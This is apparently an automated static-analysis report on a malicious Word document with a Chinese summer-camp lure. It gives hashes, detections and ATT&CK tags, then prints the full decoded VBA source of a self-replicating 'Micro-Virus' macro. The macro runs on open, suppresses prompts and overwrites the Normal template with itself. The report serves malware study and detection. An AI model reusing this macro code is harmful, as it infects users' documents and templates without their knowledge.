Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d7fa7fa8014b7f05…

MALICIOUS

Office (OLE)

52.5 KB Created: 2015-04-28 07:18:00 Authoring application: Microsoft Office Word First seen: 2017-02-22
MD5: 24d27046d3271ea7a4ac6ca1f30de749 SHA-1: 67c217a085f6012c044f73f6cbc68db28078aa64 SHA-256: d7fa7fa8014b7f05acf0fe1cd3ccd87129581a9b131d6ce609fa3198c7056841
88 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is designed to execute upon opening the document. The macro appears to be a variant of the 'Micro-Virus' family, which is known for its obfuscation and self-propagation techniques. The document body contains text in Chinese related to a university summer camp application system, suggesting a phishing or information-gathering lure.

Heuristics 3

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    'Micro-Virus
Sub Document_Open()
On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub

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